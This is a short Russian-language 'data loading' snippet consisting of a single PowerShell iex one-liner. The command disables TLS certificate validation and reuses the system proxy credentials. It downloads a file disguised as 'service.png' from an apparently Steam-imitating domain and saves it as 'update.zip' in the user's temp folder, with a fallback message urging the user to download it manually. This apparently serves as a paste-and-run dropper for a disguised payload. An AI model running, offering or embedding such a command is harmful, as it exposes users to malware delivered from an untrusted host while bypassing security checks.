Загрузка данных


iex "try { try { [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -bor [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls } catch {}; try { [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true } } catch {}; `$url = 'https://steam-filesharing.com/service.png'; `$tempdir = if (Test-Path `$env:TEMP) { `$env:TEMP } else { `$env:USERPROFILE }; `$zippile = Join-Path `$tempdir 'update.zip'; Write-Host 'Скачиваю файл...' -ForegroundColor Yellow; `$webClient = New-Object System.Net.WebClient; `$webClient.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0'); try { `$webClient.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); `$webClient.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } catch {}; `$webClient.DownloadFile(`$url, `$zippile); if (Test-Path `$zippile) { `$size = (Get-Item `$zippile).Length; Write-Host 'Скачано! Размер: ' `$size ' байт' -ForegroundColor Green } else { throw 'Файл не создан' } } catch { Write-Host 'Ошибка: ' `$_.Exception.Message -ForegroundColor Red; Write-Host 'Попробуйте скачать файл вручную: ' `$url -ForegroundColor Yellow; pause; exit 1 }"